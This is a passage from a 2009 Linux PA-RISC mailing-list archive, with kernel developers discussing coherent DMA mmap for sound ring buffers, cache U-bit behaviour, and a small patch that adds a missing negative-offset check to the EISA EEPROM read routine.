Approved: news@gmane.org
Message-ID: <s5hljmn8kjg.wl%tiwai@suse.de>
References: <s5hprc8n0od.wl%tiwai@suse.de>
	<s5hljmwn0iw.wl%tiwai@suse.de>
	<1247238689.3936.16.camel@mulgrave.site>
	<20090710181620.GA1019@flint.arm.linux.org.uk>
	<1247250650.3936.48.camel@mulgrave.site>
	<20090710183925.GB1019@flint.arm.linux.org.uk>
	<1247252363.3936.52.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1247840016 13203 80.91.229.12 (17 Jul 2009 14:13:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jul 2009 14:13:36 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-arch-owner@vger.kernel.org Fri Jul 17 16:13:28 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MRoBj-0003tA-Tk
	for glka-linux-arch@gmane.org; Fri, 17 Jul 2009 16:13:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934682AbZGQON0 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 17 Jul 2009 10:13:26 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S934684AbZGQON0
	(ORCPT <rfc822;linux-arch-outgoing>);
	Fri, 17 Jul 2009 10:13:26 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:47064 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S934683AbZGQONZ (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Fri, 17 Jul 2009 10:13:25 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 451718E8CC;
	Fri, 17 Jul 2009 16:13:24 +0200 (CEST)
In-Reply-To: <1247252363.3936.52.camel@mulgrave.site>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.3
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4088 gmane.linux.ports.parisc:1944
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1944>

[Sorry for the late follow-up as I've been absent]

At Fri, 10 Jul 2009 18:59:23 +0000,
James Bottomley wrote:
> 
> On Fri, 2009-07-10 at 19:39 +0100, Russell King wrote:
> > On Fri, Jul 10, 2009 at 06:30:50PM +0000, James Bottomley wrote:
> > > On Fri, 2009-07-10 at 19:16 +0100, Russell King wrote:
> > > > As far as sound DMA goes, it's not about mailboxes.  It's about a circular
> > > > buffer which you want the device to DMA from direct to/from the DAC/ADC
> > > > and have the application write/read data directly to/from that same
> > > > buffer.
> > > 
> > > But that makes it sound like ordinary streaming DMA from a device to
> > > user space ... that's what the dma_map_xx APIs are already designed to
> > > handle:  I don't understand why you need coherent memory for this (which
> > > can be a scarce resource on some platforms).
> 
> > The streaming APIs are inefficient for this.  Consider the overhead of
> > having to writeback and invalidate caches at 200KB/s (which is what
> > you're requiring ARM to do).  That's far too much CPU overhead.
> 
> Um, but streaming APIs are what we use for all block and network I/O
> from user space ... we don't see huge performance problems running up to
> gigabits.  Even on parisc where we have to flush several times to make
> this happen we can get up to several hundred megabytes per second.

Well, the requirement of the non-streaming mmap is rather a historical
reason.  From the fairly early time, the sound driver provided the
mmap of a whole ring buffer since it's practical and efficient for
real-time sound processes.  But, usually the mmap mode is optional.
If it's not supported, apps should fall back to the normal read/write
mode.

Now, the problem is that we have no way to tell whether the DMA
ring-buffer mmap is available or not on each architecture.  So, my
proposal has basically two meanings:

- clarify which arch / platform supports the coherent DMA mapping
  of a whole ring-buffer
- provide the same API to cover the possible archs / platforms

In that sense, if a few (or all) PA-RISC platforms don't give the
proper coherent mapping that the sound apps require, it's OK.  We
just drop the flag in the driver as "unsupported", then.

So... before going to the detail of PA-RISC implementation, I'd like
to know your opinions: whether applying dma_mmap_coherent() to
possible archs/platforms is a reasonable solution for such a
scenario.

[Why not using the standard map->sync procedure is another level of
 question :)  My goal here is to improve the current (partly broken)
 situation in a minimal effort.  The change of mmap procedure would
 lead to major rewrites of API, and thus has to be discussed more
 deeply.]

Any comments appreciated.


thanks,

Takashi

From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Fri, 17 Jul 2009 19:16:49 +0000
Lines: 90
Approved: news@gmane.org
Message-ID: <1247858209.7319.35.camel@mulgrave.site>
References: <s5hprc8n0od.wl%tiwai@suse.de> <s5hljmwn0iw.wl%tiwai@suse.de>
	 <1247238689.3936.16.camel@mulgrave.site>
	 <20090710181620.GA1019@flint.arm.linux.org.uk>
	 <1247250650.3936.48.camel@mulgrave.site>
	 <20090710183925.GB1019@flint.arm.linux.org.uk>
	 <1247252363.3936.52.camel@mulgrave.site>  <s5hljmn8kjg.wl%tiwai@suse.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1247860564 13797 80.91.229.12 (17 Jul 2009 19:56:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 17 Jul 2009 19:56:04 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: Takashi Iwai <tiwai@suse.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jul 17 21:55:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MRtX8-000384-M8
	for glpp-linux-parisc@gmane.org; Fri, 17 Jul 2009 21:55:55 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752688AbZGQTzx (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 17 Jul 2009 15:55:53 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752665AbZGQTzw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 17 Jul 2009 15:55:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33212 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752648AbZGQTzw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 17 Jul 2009 15:55:52 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 0FB128EE129;
	Fri, 17 Jul 2009 12:55:52 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id onRU5ZK4wmCs; Fri, 17 Jul 2009 12:55:51 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id C55338EE0F4;
	Fri, 17 Jul 2009 12:55:49 -0700 (PDT)
In-Reply-To: <s5hljmn8kjg.wl%tiwai@suse.de>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1945 gmane.linux.kernel.cross-arch:4089
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1945>

On Fri, 2009-07-17 at 16:13 +0200, Takashi Iwai wrote:
> [Sorry for the late follow-up as I've been absent]
> 
> At Fri, 10 Jul 2009 18:59:23 +0000,
> James Bottomley wrote:
> > 
> > On Fri, 2009-07-10 at 19:39 +0100, Russell King wrote:
> > > On Fri, Jul 10, 2009 at 06:30:50PM +0000, James Bottomley wrote:
> > > > On Fri, 2009-07-10 at 19:16 +0100, Russell King wrote:
> > > > > As far as sound DMA goes, it's not about mailboxes.  It's about a circular
> > > > > buffer which you want the device to DMA from direct to/from the DAC/ADC
> > > > > and have the application write/read data directly to/from that same
> > > > > buffer.
> > > > 
> > > > But that makes it sound like ordinary streaming DMA from a device to
> > > > user space ... that's what the dma_map_xx APIs are already designed to
> > > > handle:  I don't understand why you need coherent memory for this (which
> > > > can be a scarce resource on some platforms).
> > 
> > > The streaming APIs are inefficient for this.  Consider the overhead of
> > > having to writeback and invalidate caches at 200KB/s (which is what
> > > you're requiring ARM to do).  That's far too much CPU overhead.
> > 
> > Um, but streaming APIs are what we use for all block and network I/O
> > from user space ... we don't see huge performance problems running up to
> > gigabits.  Even on parisc where we have to flush several times to make
> > this happen we can get up to several hundred megabytes per second.
> 
> Well, the requirement of the non-streaming mmap is rather a historical
> reason.  From the fairly early time, the sound driver provided the
> mmap of a whole ring buffer since it's practical and efficient for
> real-time sound processes.  But, usually the mmap mode is optional.
> If it's not supported, apps should fall back to the normal read/write
> mode.

But what I don't understand is why you can't treat the ring buffer as
streaming.  Sure, you have a head pointer and a tail pointer, but
everything between head and tail is owned by the device and everything
between tail and head is owned by the kernel, surely?  In that case, you
can manipulate head and tail movements simply via the streaming API?
(when head moves, map the delta to the device; when tail moves, map the
delta to the kernel) and we can simply then use the standard APIs?

> Now, the problem is that we have no way to tell whether the DMA
> ring-buffer mmap is available or not on each architecture.  So, my
> proposal has basically two meanings:
> 
> - clarify which arch / platform supports the coherent DMA mapping
>   of a whole ring-buffer
> - provide the same API to cover the possible archs / platforms
> 
> In that sense, if a few (or all) PA-RISC platforms don't give the
> proper coherent mapping that the sound apps require, it's OK.  We
> just drop the flag in the driver as "unsupported", then.

That would work for us too ... I can see that x86 will have little
problem with this, but I can predict that most other architectures will
have some difficulty.

> So... before going to the detail of PA-RISC implementation, I'd like
> to know your opinions: whether applying dma_mmap_coherent() to
> possible archs/platforms is a reasonable solution for such a
> scenario.

Realistically, the only way to make it work as you want on parisc is to
have a kernel/user congruence (it's an address rule [virtual addresses
are equal modulo the congruence step, which is 4MB]) which would ensure
this would work without flushing ... that's hard for the kernel to make
happen on its own.

> [Why not using the standard map->sync procedure is another level of
>  question :)  My goal here is to improve the current (partly broken)
>  situation in a minimal effort.  The change of mmap procedure would
>  lead to major rewrites of API, and thus has to be discussed more
>  deeply.]

So, yes, there is an equivalent used by the frame buffer which basically
tries to place a dma mapped page into a user address space ... that
might also work in this case.

> Any comments appreciated.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Takashi Iwai <tiwai@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH 3/8] parisc: implement dma_mmap_coherent()
Date: Sun, 19 Jul 2009 14:23:06 +0200
Lines: 108
Approved: news@gmane.org
Message-ID: <s5hws64n9p1.wl%tiwai@suse.de>
References: <s5hprc8n0od.wl%tiwai@suse.de>
	<s5hljmwn0iw.wl%tiwai@suse.de>
	<1247238689.3936.16.camel@mulgrave.site>
	<20090710181620.GA1019@flint.arm.linux.org.uk>
	<1247250650.3936.48.camel@mulgrave.site>
	<20090710183925.GB1019@flint.arm.linux.org.uk>
	<1247252363.3936.52.camel@mulgrave.site>
	<s5hljmn8kjg.wl%tiwai@suse.de>
	<1247858209.7319.35.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0 (generated by SEMI 1.14.6 - "Maruoka")
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1248006204 28490 80.91.229.12 (19 Jul 2009 12:23:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 19 Jul 2009 12:23:24 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>, linux-arch@vger.kernel.org,
	Gerhard Pircher <gerhard_pircher@gmx.net>,
	Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Jul 19 14:23:16 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MSVQB-0007rw-Uf
	for glpp-linux-parisc@gmane.org; Sun, 19 Jul 2009 14:23:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753425AbZGSMXN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 19 Jul 2009 08:23:13 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753417AbZGSMXJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 19 Jul 2009 08:23:09 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:36967 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753285AbZGSMXH (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 19 Jul 2009 08:23:07 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 7B829749C2;
	Sun, 19 Jul 2009 14:23:06 +0200 (CEST)
In-Reply-To: <1247858209.7319.35.camel@mulgrave.site>
User-Agent: Wanderlust/2.12.0 (Your Wildest Dreams) SEMI/1.14.6 (Maruoka)
 FLIM/1.14.7 (=?ISO-8859-4?Q?Sanj=F2?=) APEL/10.6 Emacs/22.3
 (x86_64-suse-linux-gnu) MULE/5.0 (SAKAKI)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1946 gmane.linux.kernel.cross-arch:4092
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1946>

At Fri, 17 Jul 2009 19:16:49 +0000,
James Bottomley wrote:
> 
> On Fri, 2009-07-17 at 16:13 +0200, Takashi Iwai wrote:
> > [Sorry for the late follow-up as I've been absent]
> > 
> > At Fri, 10 Jul 2009 18:59:23 +0000,
> > James Bottomley wrote:
> > > 
> > > On Fri, 2009-07-10 at 19:39 +0100, Russell King wrote:
> > > > On Fri, Jul 10, 2009 at 06:30:50PM +0000, James Bottomley wrote:
> > > > > On Fri, 2009-07-10 at 19:16 +0100, Russell King wrote:
> > > > > > As far as sound DMA goes, it's not about mailboxes.  It's about a circular
> > > > > > buffer which you want the device to DMA from direct to/from the DAC/ADC
> > > > > > and have the application write/read data directly to/from that same
> > > > > > buffer.
> > > > > 
> > > > > But that makes it sound like ordinary streaming DMA from a device to
> > > > > user space ... that's what the dma_map_xx APIs are already designed to
> > > > > handle:  I don't understand why you need coherent memory for this (which
> > > > > can be a scarce resource on some platforms).
> > > 
> > > > The streaming APIs are inefficient for this.  Consider the overhead of
> > > > having to writeback and invalidate caches at 200KB/s (which is what
> > > > you're requiring ARM to do).  That's far too much CPU overhead.
> > > 
> > > Um, but streaming APIs are what we use for all block and network I/O
> > > from user space ... we don't see huge performance problems running up to
> > > gigabits.  Even on parisc where we have to flush several times to make
> > > this happen we can get up to several hundred megabytes per second.
> > 
> > Well, the requirement of the non-streaming mmap is rather a historical
> > reason.  From the fairly early time, the sound driver provided the
> > mmap of a whole ring buffer since it's practical and efficient for
> > real-time sound processes.  But, usually the mmap mode is optional.
> > If it's not supported, apps should fall back to the normal read/write
> > mode.
> 
> But what I don't understand is why you can't treat the ring buffer as
> streaming.

We could, if we want.  The problem is only that the existing sound
mmap API since over 10 years ago requires the whole ring-buffer to be
exposed, to be accessible without sync operation.

>  Sure, you have a head pointer and a tail pointer, but
> everything between head and tail is owned by the device and everything
> between tail and head is owned by the kernel, surely?  In that case, you
> can manipulate head and tail movements simply via the streaming API?
> (when head moves, map the delta to the device; when tail moves, map the
> delta to the kernel) and we can simply then use the standard APIs?

That's a good thing for the future :)

> > Now, the problem is that we have no way to tell whether the DMA
> > ring-buffer mmap is available or not on each architecture.  So, my
> > proposal has basically two meanings:
> > 
> > - clarify which arch / platform supports the coherent DMA mapping
> >   of a whole ring-buffer
> > - provide the same API to cover the possible archs / platforms
> > 
> > In that sense, if a few (or all) PA-RISC platforms don't give the
> > proper coherent mapping that the sound apps require, it's OK.  We
> > just drop the flag in the driver as "unsupported", then.
> 
> That would work for us too ... I can see that x86 will have little
> problem with this, but I can predict that most other architectures will
> have some difficulty.

Yes, appears like so...

> > So... before going to the detail of PA-RISC implementation, I'd like
> > to know your opinions: whether applying dma_mmap_coherent() to
> > possible archs/platforms is a reasonable solution for such a
> > scenario.
> 
> Realistically, the only way to make it work as you want on parisc is to
> have a kernel/user congruence (it's an address rule [virtual addresses
> are equal modulo the congruence step, which is 4MB]) which would ensure
> this would work without flushing ... that's hard for the kernel to make
> happen on its own.

Hmm.  So, maybe enabling dma_mmap_coherent() for PA-RISC isn't worth,
at least, for the sound device mmap.

> > [Why not using the standard map->sync procedure is another level of
> >  question :)  My goal here is to improve the current (partly broken)
> >  situation in a minimal effort.  The change of mmap procedure would
> >  lead to major rewrites of API, and thus has to be discussed more
> >  deeply.]
> 
> So, yes, there is an equivalent used by the frame buffer which basically
> tries to place a dma mapped page into a user address space ... that
> might also work in this case.

Sorry for ignorance, but doesn't fb-mmap work in a way like the sound
apps expect?  Or does it require any map->sync operation?


thanks,

Takashi
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Michael Buesch <mb@bu3sch.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc-isa-eeprom: Fix loff_t usage
Date: Tue, 21 Jul 2009 00:58:44 +0200
Lines: 49
Approved: news@gmane.org
Message-ID: <200907210058.44737.mb@bu3sch.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1248130746 27995 80.91.229.12 (20 Jul 2009 22:59:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Jul 2009 22:59:06 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: kyle@mcmartin.ca, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 21 00:58:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MT1ov-00025U-Qf
	for glpp-linux-parisc@gmane.org; Tue, 21 Jul 2009 00:58:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753838AbZGTW6z (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 Jul 2009 18:58:55 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754173AbZGTW6z
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 20 Jul 2009 18:58:55 -0400
Original-Received: from bu3sch.de ([62.75.166.246]:46759 "EHLO vs166246.vserver.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753838AbZGTW6x (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 Jul 2009 18:58:53 -0400
Original-Received: by vs166246.vserver.de with esmtpa (Exim 4.69)
	id 1MT1oq-00031B-Rd; Mon, 20 Jul 2009 22:58:52 +0000
User-Agent: KMail/1.9.9
X-Move-Along: Nothing to see here. No, really... Nothing.
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1947
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1947>

loff_t is a signed type. If userspace passes a negative ppos, the "count"
range check is weakened. "count"s bigger than HPEE_MAX_LENGTH will pass the check.
Also, if ppos is negative, the readb(eisa_eeprom_addr + *ppos) will poke in random
memory.

Signed-off-by: Michael Buesch <mb@bu3sch.de>
Cc: stable@kernel.org

---

Patch is untested due to lack of hardware.

---
 drivers/parisc/eisa_eeprom.c |    2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

--- linux-2.6.orig/drivers/parisc/eisa_eeprom.c
+++ linux-2.6/drivers/parisc/eisa_eeprom.c
@@ -48,21 +48,21 @@ static loff_t eisa_eeprom_llseek(struct 
 	return (offset >= 0 && offset < HPEE_MAX_LENGTH) ? (file->f_pos = offset) : -EINVAL;
 }
 
 static ssize_t eisa_eeprom_read(struct file * file,
 			      char __user *buf, size_t count, loff_t *ppos )
 {
 	unsigned char *tmp;
 	ssize_t ret;
 	int i;
 	
-	if (*ppos >= HPEE_MAX_LENGTH)
+	if (*ppos < 0 || *ppos >= HPEE_MAX_LENGTH)
 		return 0;
 	
 	count = *ppos + count < HPEE_MAX_LENGTH ? count : HPEE_MAX_LENGTH - *ppos;
 	tmp = kmalloc(count, GFP_KERNEL);
 	if (tmp) {
 		for (i = 0; i < count; i++)
 			tmp[i] = readb(eisa_eeprom_addr+(*ppos)++);
 
 		if (copy_to_user (buf, tmp, count))
 			ret = -EFAULT;

-- 
Greetings, Michael.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Wierd code in Entry.S
Date: Tue, 21 Jul 2009 23:34:53 -0600
Lines: 59
Approved: news@gmane.org
Message-ID: <20090722053453.GA12539@lackof.org>
References: <20090710155559.CFAA44FC4@hiauly1.hia.nrc.ca> <1247242701.3936.28.camel@mulgrave.site> <20090715063800.GA26739@lackof.org> <1247661690.4236.10.camel@mulgrave.site>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1248240905 2983 80.91.229.12 (22 Jul 2009 05:35:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Jul 2009 05:35:05 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	artem.alimarine@stromasys.com, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jul 22 07:34:58 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MTUTh-00018U-L9
	for glpp-linux-parisc@gmane.org; Wed, 22 Jul 2009 07:34:58 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752370AbZGVFey (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Jul 2009 01:34:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752595AbZGVFey
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 22 Jul 2009 01:34:54 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:43265 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752370AbZGVFey (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Jul 2009 01:34:54 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id CD18233E0002;
	Tue, 21 Jul 2009 23:34:53 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id Pah6+KCKSrGG; Tue, 21 Jul 2009 23:34:53 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 632F633E019A; Tue, 21 Jul 2009 23:34:53 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <1247661690.4236.10.camel@mulgrave.site>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1949>

On Wed, Jul 15, 2009 at 08:41:30AM -0400, James Bottomley wrote:
> On Wed, 2009-07-15 at 00:38 -0600, Grant Grundler wrote:
> > On Fri, Jul 10, 2009 at 11:18:21AM -0500, James Bottomley wrote:
> > > On Fri, 2009-07-10 at 11:55 -0400, John David Anglin wrote:
> > ...
> > > > Your comment would explain why I
> > > > don't see this on c3750.  Could this affect PA8700?
> > > 
> > > In theory it would affect every box running a 64 bit kernel.
> > 
> > Yes, regarding corrupting bit-44 but not U-bit.
> > 
> > IIRC, only pa880 and pa8900 pay attention to the U-bit.
> > I thought all the previous CPUs ignored U-bit.
> 
> Um, no, almost all pa chips use it ... it's the way we make coherent
> memory on the very old 710 and similar systems: use an ordinary kmalloc
> and turn off caching in the map.  The 715 class systems with the oldest
> pa chips don't respect the U bit ... these are the ones we have to pull
> the driver cache flushing tricks on to get them working.

Sorry - I was thinking only in the context of F-space but didn't make
that distinction clear.  I wasn't thinking about about the use of U-bit
for DMA coherence. 

thanks,
grant

> We also use the U bit for ioremaps.
> 
> > > We
> > > actually set PAGE_NO_CACHE on ioremaps(), so it's spreading out from the
> > > PCI device space.
> > 
> > Yes - but only ZX1 chipset (e.g. rp3440 and C8000) uses IO space that
> > is outside of F-space. F-space is hardwired to be uncachable by the CPU.
> 
> OK, so we don't really use the concept of F-Space in the linux kernel
> virtual memory map on parisc linux.  What we do is map the whole of
> memory into the virtual address space, but none of the I/O space.  the
> readX/writeX macros actually go via absolute accesses.  Because the
> kernel virtual addresses are offset mapped from the absolute addresses,
> we do get a hole in the virtual map corresponding to F-Space (simply
> because there's no accessible memory there) but we're actually able to
> fill that hole later with virtual mappings if we choose.  The net result
> is that I/O devices aren't mapped into the kernel at all until we call
> ioremap.  If a device uses readX/writeX only, it never actually gets an
> appearance in our virtual space because we simply use absolute accesses
> to get the data to and from the device.  If it really needs a remapped
> area, we use ioremap, then it does appear in our virtual map, and we set
> the U bit on the mapping.
> 
> James
> 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:04:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Julia Lawall <julia@diku.dk>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.janitors
